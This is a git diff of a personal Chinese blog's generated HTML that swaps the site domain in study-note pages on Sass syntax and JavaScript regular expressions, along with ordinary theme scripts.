accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>CSS预处理器-Sass学习笔记</h1><div class=post-meta><span title='2021-07-02 08:44:00 +0000 UTC'>2021-07-02</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/CSS%e9%a2%84%e5%a4%84%e7%90%86%e5%99%a8-Sass%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>sass是一门css扩展语言，css预处理器</p><p>sass是基于ruby语言开发，在前端中可以使用npm安装</p><p>npm install node-sass或者npm install node-sass &ndash;save-dev</p><p>当然也可以安装ruby，通过gem托管服务进行安装sass</p><p>gem install sass</p><p>文件</p><p>hallo.scss</p><p>解析为css文件</p><p>sass hallo.scss hallo.css</p><p>sass提供了4种编译风格</p><p>nested：嵌套缩进的css代码，默认值</p><p>expanded：没有缩进，扩展的css代码</p><p>compact：简洁格式的css代码</p><p>compressed：压缩后的css代码，生产环境一般选择这个</p><p>编译风格使用语法</p><p>sass &ndash;style nested hallo.scss hallo.css</p><p>也可以让sass自动编译</p><p>监听文件</p><p>sass &ndash;watch hallo.scss:hallo.css</p><p>监听目录</p><p>sass &ndash;watch sass/style.scss:css/style.css</p><p>注意：目录不要有中文</p><hr><p>注释</p><p>/* 注释 */</p><p>// 注释</p><p>/*! 注释 */</p><p>第一种注释，会保留到编译后的css文件中</p><p>第二种注释，不会编译到编译后的css文件中</p><p>第三种注释，是表示重要注释，就算就是压缩编译，也会保留这个注释，一般用来声明版权</p><p>变量</p><pre><code>$color: #ccc;
+#app{
+    color: $color;
+}
+</code></pre><p>变量也可以嵌套到属性中</p><pre><code>$right: right;
+#app{
+    margin-#{$right}: 50px;
+}
+</code></pre><p>运算</p><p>允许使用加减乘除运算</p><pre><code>#app{
+    width: 100px + 20px;
+    height: (300px / 3) * 2;
+}
+</code></pre><p>嵌套，嵌套一般用在有同一个父元素（祖先元素）下，例如：</p><pre><code>.nav{
+    padding: 100px;
+    .nav-ul{
+        right: left;
+        .nav-li{
+            margin: 10px;
+        }
+    }&amp;:hover{
+        color: #ccc;
+    }
+}
+</code></pre><p>伪类或者伪元素需要在其前面加&</p><p>继承</p><p>sass可以将一个样式集继承到另一个继承集中</p><pre><code>.container{
+    width: 100px;
+}
+#app{
+    @extend .container;
+    height: 100px;
+}
+</code></pre><p>混合</p><pre><code>@mixin width{
+    width: 100px;
+}
+#app{
+    @include: width;
+}
+</code></pre><p>混合和继承的区别就是，混合可以指定参数</p><pre><code>@mixin width($nums: 60px){
+    width: $nums;
+}
+#app{
+    @include: width(100px);
+}
 </code></pre><p>函数</p><p>提供了一下函数来处理颜色之类的</p><p>grayscale(#333)</p><p>导入外部文件</p><p>导入scss文件
 @import &ldquo;scss/hallo.scss&rdquo;;</p><p>导入css文件
-@import &ldquo;css/hallo.css&rdquo;</p><p>条件判断</p><pre><code>#app{
-    @if 100 &lt; 60 {  
-        width: 100px;
-    } @else {
-            width: 60px;
-    }
-}
-</code></pre><p>循环</p><p>for</p><pre><code>@for $i from 1 to 6 {
-    .col-#{$i} {
-        border: #{$i}px solid #ccc;
-    }
-}
-</code></pre><p>while</p><pre><code>$i : 6;
-@while $i &gt; 0 {
-    .col-#{$i} {
-         width: 100px * $i;
-    }
-    $i : $i  - 1;
-}
-</code></pre><p>each</p><pre><code>@each $nums in 1,2,3 {
-    .col-#{$nums} {
-        background-image: url(&quot;/image/#{$nums}.jpg&quot;);
-    }
-}
-</code></pre><p>自定义函数</p><pre><code>@function hallo($i) {
-    @return ($i * 2) + 100;
-}
-#app {
-    width: hallo(10px);
-}
-</code></pre></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/sass/>Sass</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/52/><span class=title>« Prev</span><br><span>正则表达式学习笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/50/><span class=title>Next »</span><br><span>CSS预处理器-Less学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+@import &ldquo;css/hallo.css&rdquo;</p><p>条件判断</p><pre><code>#app{
+    @if 100 &lt; 60 {  
+        width: 100px;
+    } @else {
+            width: 60px;
+    }
+}
+</code></pre><p>循环</p><p>for</p><pre><code>@for $i from 1 to 6 {
+    .col-#{$i} {
+        border: #{$i}px solid #ccc;
+    }
+}
+</code></pre><p>while</p><pre><code>$i : 6;
+@while $i &gt; 0 {
+    .col-#{$i} {
+         width: 100px * $i;
+    }
+    $i : $i  - 1;
+}
+</code></pre><p>each</p><pre><code>@each $nums in 1,2,3 {
+    .col-#{$nums} {
+        background-image: url(&quot;/image/#{$nums}.jpg&quot;);
+    }
+}
+</code></pre><p>自定义函数</p><pre><code>@function hallo($i) {
+    @return ($i * 2) + 100;
+}
+#app {
+    width: hallo(10px);
+}
+</code></pre></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/sass/>Sass</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/52/><span class=title>« Prev</span><br><span>正则表达式学习笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/50/><span class=title>Next »</span><br><span>CSS预处理器-Less学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/52/index.html b/posts/52/index.html
index 4507df89..e805fc02 100644
--- a/posts/52/index.html
+++ b/posts/52/index.html
@@ -32,8 +32,8 @@
 var hallo = /^[^a-z]$/;
 在方括号内部加^，就是代表取反，不能包含a到z其中的一个字母
 量词符（*，+，?）
-var hallo = /a*/;"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/52/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="正则表达式学习笔记"><meta property="og:description" content="正则表达式（Regular Expression）是用于匹配字符串中字符组合的模式，在JavaScript中，正则表达式也是对象
+var hallo = /a*/;"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/52/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="正则表达式学习笔记"><meta property="og:description" content="正则表达式（Regular Expression）是用于匹配字符串中字符组合的模式，在JavaScript中，正则表达式也是对象
 JavaScript创建正则表达式
 使用RegExp对象创建
 var hallo = new RegExp(/123/);
@@ -67,7 +67,7 @@
 var hallo = /^[^a-z]$/;
 在方括号内部加^，就是代表取反，不能包含a到z其中的一个字母
 量词符（*，+，?）
-var hallo = /a*/;"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/52/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-07-02T18:12:00+00:00"><meta property="article:modified_time" content="2021-07-02T18:12:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="正则表达式学习笔记"><meta name=twitter:description content="正则表达式（Regular Expression）是用于匹配字符串中字符组合的模式，在JavaScript中，正则表达式也是对象
+var hallo = /a*/;"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/52/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-07-02T18:12:00+00:00"><meta property="article:modified_time" content="2021-07-02T18:12:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="正则表达式学习笔记"><meta name=twitter:description content="正则表达式（Regular Expression）是用于匹配字符串中字符组合的模式，在JavaScript中，正则表达式也是对象
 JavaScript创建正则表达式
 使用RegExp对象创建
 var hallo = new RegExp(/123/);
@@ -101,7 +101,7 @@
 var hallo = /^[^a-z]$/;
 在方括号内部加^，就是代表取反，不能包含a到z其中的一个字母
 量词符（*，+，?）
-var hallo = /a*/;"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"正则表达式学习笔记","item":"https://xiaochenabc123.github.io/posts/52/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"正则表达式学习笔记","name":"正则表达式学习笔记","description":"正则表达式（Regular Expression）是用于匹配字符串中字符组合的模式，在JavaScript中，正则表达式也是对象\nJavaScript创建正则表达式\n使用RegExp对象创建\nvar hallo = new RegExp(/123/);\n或者\nvar hallo = /123/;\n检查是否符合该正则表达式\n使用test方法判断字符串是否符合该规则的要求，返回的值是布尔值\nconsole.log(hallo.test(123));\n/123/只要包含123就返回true\n正则表达式元字符\n边界符（^和$）\n^表示匹配行首的文本（以谁开始）\n$表示行尾的文本（以谁结束）\nvar hallo = ^abc;\n必须要abc开头，如果是aabc的话，返回false\nvar hallo = abc$;\n必须要abc结尾，例如aabc，返回true\nvar hallo = ^abc$;\n^和$一起使用就是精确匹配，必须是abc，如果是abcabc的话，返回false\n字符类[]\nvar hallo = /[abc]/;\n只要包含a，b，c其中一个字符都匹配，返回true，例如axx\nvar hallo = /^[abc]$/;\n三选一，只有包含a，b，c其中单独的一个才匹配返回true，例如abc，就返回false\n范围符-\nvar hallo = /^[a-z]$/;\n多选一，a到z，包含26个字母任何一个字母都返回true，大小写敏感，A和a不一样\nvar hallo = /^[a-zA-Z0-9_-]$/;\n多选一，包含26个字母（包含大小写）任何一个字母和数字（0到9）和下划线其中一个都返回true\n取反\nvar hallo = /^[^a-z]$/;\n在方括号内部加^，就是代表取反，不能包含a到z其中的一个字母\n量词符（*，+，?）\nvar hallo = /a*/;","keywords":["正则表达式"],"articleBody":"正则表达式（Regular Expression）是用于匹配字符串中字符组合的模式，在JavaScript中，正则表达式也是对象\nJavaScript创建正则表达式\n使用RegExp对象创建\nvar hallo = new RegExp(/123/);\n或者\nvar hallo = /123/;\n检查是否符合该正则表达式\n使用test方法判断字符串是否符合该规则的要求，返回的值是布尔值\nconsole.log(hallo.test(123));\n/123/只要包含123就返回true\n正则表达式元字符\n边界符（^和$）\n^表示匹配行首的文本（以谁开始）\n$表示行尾的文本（以谁结束）\nvar hallo = ^abc;\n必须要abc开头，如果是aabc的话，返回false\nvar hallo = abc$;\n必须要abc结尾，例如aabc，返回true\nvar hallo = ^abc$;\n^和$一起使用就是精确匹配，必须是abc，如果是abcabc的话，返回false\n字符类[]\nvar hallo = /[abc]/;\n只要包含a，b，c其中一个字符都匹配，返回true，例如axx\nvar hallo = /^[abc]$/;\n三选一，只有包含a，b，c其中单独的一个才匹配返回true，例如abc，就返回false\n范围符-\nvar hallo = /^[a-z]$/;\n多选一，a到z，包含26个字母任何一个字母都返回true，大小写敏感，A和a不一样\nvar hallo = /^[a-zA-Z0-9_-]$/;\n多选一，包含26个字母（包含大小写）任何一个字母和数字（0到9）和下划线其中一个都返回true\n取反\nvar hallo = /^[^a-z]$/;\n在方括号内部加^，就是代表取反，不能包含a到z其中的一个字母\n量词符（*，+，?）\nvar hallo = /a*/;\n*相当于\u003e=0，出现0次或者n次都返回true\nvar hallo = /a+/;\n+相当于\u003e=1，出现1次或者n次返回true\nvar hallo = /a?/;\n?相当于 0 || 1，只要出现0次或者1次返回true\n{n}：重复n次\n{n,}：重复次数大于等于n次\n{n,i}：重复次数大于等于n，并且小于等于16\n量词是设定规则出现的次数\n例如：\nvar hallo = /^[a-zA-Z0-9_-]{6,16}$/; console.log(hallo.test(“hallo123”)); // true\nvar hallo = /(abc){3}/;\n将abc重复3次，abcabcabc才返回true\n预定义类\n预定义类指的是一些常用规则的简写，大小写敏感\n\\d：匹配0-9的任何数字 \\D：匹配所有0-9以外的字符，取反 \\w：匹配任何的字母，数字，下划线，相当于[a-zA-Z0-9_-] \\W：匹配任何的字母，数字，下划线以外的字符，取反 \\s：匹配空格（包含换行符，制表符，空格符等），相当于[\\t\\r\\n\\v\\f] \\S：匹配非空格，相当于[^\\t\\r\\n\\v\\f]\n\\b 单词边界 /\\bhello\\b/` \\B 除了单词边界\n[^] 除了 [] 选择 - 之间 | 或 ^ 匹配开头 $ 匹配尾\n替换\nreplace()，可以替换字符串或者正则表达式\nreplace(匹配字符串,被替换的字符串)\n字符串\nvar hallo = “hallo”;\nhallo.replace(“hallo”,“hi”);\n正则表达式\nvar hallo = “hallo”;\nhallo.replace(\"/hallo/\",“hi”);\n正则表达式参数\n/表达式/[修饰符]\n修饰符有3个值\ng：全局匹配\ni：忽略大小写\ngi：全局匹配+忽略大小写\n例如：\nvar hallo = “hallo”;\nhallo.replace(\"/hallo|hi/g\",\"*\");\n正向预查和负向预查\n正则捕获的懒惰性和贪婪性\n","wordCount":"155","inLanguage":"en","datePublished":"2021-07-02T18:12:00Z","dateModified":"2021-07-02T18:12:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/52/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>正则表达式学习笔记</h1><div class=post-meta><span title='2021-07-02 18:12:00 +0000 UTC'>2021-07-02</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/%e6%ad%a3%e5%88%99%e8%a1%a8%e8%be%be%e5%bc%8f%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>正则表达式（Regular Expression）是用于匹配字符串中字符组合的模式，在JavaScript中，正则表达式也是对象</p><p>JavaScript创建正则表达式</p><p>使用RegExp对象创建</p><p>var hallo = new RegExp(/123/);</p><p>或者</p><p>var hallo = /123/;</p><p>检查是否符合该正则表达式</p><p>使用test方法判断字符串是否符合该规则的要求，返回的值是布尔值</p><p>console.log(hallo.test(123));</p><p>/123/只要包含123就返回true</p><p>正则表达式元字符</p><p>边界符（^和$）</p><p>^表示匹配行首的文本（以谁开始）</p><p>$表示行尾的文本（以谁结束）</p><p>var hallo = ^abc;</p><p>必须要abc开头，如果是aabc的话，返回false</p><p>var hallo = abc$;</p><p>必须要abc结尾，例如aabc，返回true</p><p>var hallo = ^abc$;</p><p>^和$一起使用就是精确匹配，必须是abc，如果是abcabc的话，返回false</p><p>字符类[]</p><p>var hallo = /[abc]/;</p><p>只要包含a，b，c其中一个字符都匹配，返回true，例如axx</p><p>var hallo = /^[abc]$/;</p><p>三选一，只有包含a，b，c其中单独的一个才匹配返回true，例如abc，就返回false</p><p>范围符-</p><p>var hallo = /^[a-z]$/;</p><p>多选一，a到z，包含26个字母任何一个字母都返回true，大小写敏感，A和a不一样</p><p>var hallo = /^[a-zA-Z0-9_-]$/;</p><p>多选一，包含26个字母（包含大小写）任何一个字母和数字（0到9）和下划线其中一个都返回true</p><p>取反</p><p>var hallo = /^[^a-z]$/;</p><p>在方括号内部加^，就是代表取反，不能包含a到z其中的一个字母</p><hr><p>量词符（*，+，?）</p><p>var hallo = /a*/;</p><p>*相当于>=0，出现0次或者n次都返回true</p><p>var hallo = /a+/;</p><p>+相当于>=1，出现1次或者n次返回true</p><p>var hallo = /a?/;</p><p>?相当于 0 || 1，只要出现0次或者1次返回true</p><p>{n}：重复n次</p><p>{n,}：重复次数大于等于n次</p><p>{n,i}：重复次数大于等于n，并且小于等于16</p><p>量词是设定规则出现的次数</p><p>例如：</p><p>var hallo = /^[a-zA-Z0-9_-]{6,16}$/;
+var hallo = /a*/;"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"正则表达式学习笔记","item":"https://chenjunlinabc.github.io/posts/52/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"正则表达式学习笔记","name":"正则表达式学习笔记","description":"正则表达式（Regular Expression）是用于匹配字符串中字符组合的模式，在JavaScript中，正则表达式也是对象\nJavaScript创建正则表达式\n使用RegExp对象创建\nvar hallo = new RegExp(/123/);\n或者\nvar hallo = /123/;\n检查是否符合该正则表达式\n使用test方法判断字符串是否符合该规则的要求，返回的值是布尔值\nconsole.log(hallo.test(123));\n/123/只要包含123就返回true\n正则表达式元字符\n边界符（^和$）\n^表示匹配行首的文本（以谁开始）\n$表示行尾的文本（以谁结束）\nvar hallo = ^abc;\n必须要abc开头，如果是aabc的话，返回false\nvar hallo = abc$;\n必须要abc结尾，例如aabc，返回true\nvar hallo = ^abc$;\n^和$一起使用就是精确匹配，必须是abc，如果是abcabc的话，返回false\n字符类[]\nvar hallo = /[abc]/;\n只要包含a，b，c其中一个字符都匹配，返回true，例如axx\nvar hallo = /^[abc]$/;\n三选一，只有包含a，b，c其中单独的一个才匹配返回true，例如abc，就返回false\n范围符-\nvar hallo = /^[a-z]$/;\n多选一，a到z，包含26个字母任何一个字母都返回true，大小写敏感，A和a不一样\nvar hallo = /^[a-zA-Z0-9_-]$/;\n多选一，包含26个字母（包含大小写）任何一个字母和数字（0到9）和下划线其中一个都返回true\n取反\nvar hallo = /^[^a-z]$/;\n在方括号内部加^，就是代表取反，不能包含a到z其中的一个字母\n量词符（*，+，?）\nvar hallo = /a*/;","keywords":["正则表达式"],"articleBody":"正则表达式（Regular Expression）是用于匹配字符串中字符组合的模式，在JavaScript中，正则表达式也是对象\nJavaScript创建正则表达式\n使用RegExp对象创建\nvar hallo = new RegExp(/123/);\n或者\nvar hallo = /123/;\n检查是否符合该正则表达式\n使用test方法判断字符串是否符合该规则的要求，返回的值是布尔值\nconsole.log(hallo.test(123));\n/123/只要包含123就返回true\n正则表达式元字符\n边界符（^和$）\n^表示匹配行首的文本（以谁开始）\n$表示行尾的文本（以谁结束）\nvar hallo = ^abc;\n必须要abc开头，如果是aabc的话，返回false\nvar hallo = abc$;\n必须要abc结尾，例如aabc，返回true\nvar hallo = ^abc$;\n^和$一起使用就是精确匹配，必须是abc，如果是abcabc的话，返回false\n字符类[]\nvar hallo = /[abc]/;\n只要包含a，b，c其中一个字符都匹配，返回true，例如axx\nvar hallo = /^[abc]$/;\n三选一，只有包含a，b，c其中单独的一个才匹配返回true，例如abc，就返回false\n范围符-\nvar hallo = /^[a-z]$/;\n多选一，a到z，包含26个字母任何一个字母都返回true，大小写敏感，A和a不一样\nvar hallo = /^[a-zA-Z0-9_-]$/;\n多选一，包含26个字母（包含大小写）任何一个字母和数字（0到9）和下划线其中一个都返回true\n取反\nvar hallo = /^[^a-z]$/;\n在方括号内部加^，就是代表取反，不能包含a到z其中的一个字母\n量词符（*，+，?）\nvar hallo = /a*/;\n*相当于\u003e=0，出现0次或者n次都返回true\nvar hallo = /a+/;\n+相当于\u003e=1，出现1次或者n次返回true\nvar hallo = /a?/;\n?相当于 0 || 1，只要出现0次或者1次返回true\n{n}：重复n次\n{n,}：重复次数大于等于n次\n{n,i}：重复次数大于等于n，并且小于等于16\n量词是设定规则出现的次数\n例如：\nvar hallo = /^[a-zA-Z0-9_-]{6,16}$/; console.log(hallo.test(“hallo123”)); // true\nvar hallo = /(abc){3}/;\n将abc重复3次，abcabcabc才返回true\n预定义类\n预定义类指的是一些常用规则的简写，大小写敏感\n\\d：匹配0-9的任何数字 \\D：匹配所有0-9以外的字符，取反 \\w：匹配任何的字母，数字，下划线，相当于[a-zA-Z0-9_-] \\W：匹配任何的字母，数字，下划线以外的字符，取反 \\s：匹配空格（包含换行符，制表符，空格符等），相当于[\\t\\r\\n\\v\\f] \\S：匹配非空格，相当于[^\\t\\r\\n\\v\\f]\n\\b 单词边界 /\\bhello\\b/` \\B 除了单词边界\n[^] 除了 [] 选择 - 之间 | 或 ^ 匹配开头 $ 匹配尾\n替换\nreplace()，可以替换字符串或者正则表达式\nreplace(匹配字符串,被替换的字符串)\n字符串\nvar hallo = “hallo”;\nhallo.replace(“hallo”,“hi”);\n正则表达式\nvar hallo = 